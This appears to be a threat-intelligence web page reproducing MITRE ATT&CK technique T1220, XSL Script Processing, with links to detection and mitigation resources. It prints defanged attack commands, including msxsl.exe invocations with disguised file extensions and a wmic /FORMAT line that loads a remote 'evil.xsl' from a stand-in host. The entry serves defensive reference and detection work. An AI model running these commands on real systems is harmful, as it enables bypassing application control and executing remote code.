T1220: XSL Script Processing
| View on MITRE ATT&CK | T1220 |
|---|---|
| Tactic(s) | Defense Evasion |
Data from MITRE ATT&CK®:
Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)
Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to Trusted Developer Utilities Proxy Execution, the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)
Command-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)
msxsl.exe customers[.]xml script[.]xslmsxsl.exe script[.]xsl script[.]xslmsxsl.exe script[.]jpeg script[.]jpeg
Another variation of this technique, dubbed “Squiblytwo”, involves using Windows Management Instrumentation to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its Regsvr32/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in Windows Management Instrumentation provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)
Command-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)
- Local File:
wmic process list /FORMAT:evil[.]xsl - Remote File:
wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”
© 2024 The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation.
Cyber Threat Graph Context
Explore how this ATT&CK Technique relates to the wider threat graph
Mitigations for this technique
MITRE ATT&CK Mitigations
How to detect this technique
MITRE ATT&CK Data Components
Process Creation (Process)
The initial construction of an executable managed by the OS, that may involve one or more tasks or threads. (e.g. Win EID 4688, Sysmon EID 1, cmd.exe > net use, etc.)Module Load (Module)
Attaching a module into the memory of a process/program, typically to access shared resources/features provided by the module (ex: Sysmon EID 7)Control Validation Tests for this Technique
Use Atomic Red Team tests to test your defenses against this technique.
Sigma Detections for this Technique
SP800-53 Controls
See which controls can help protect against this MITRE ATT&CK technique. This is based on mappings to associated SP800-53 controls produced by the MITRE Engenuity Center for Threat-Informed Defense.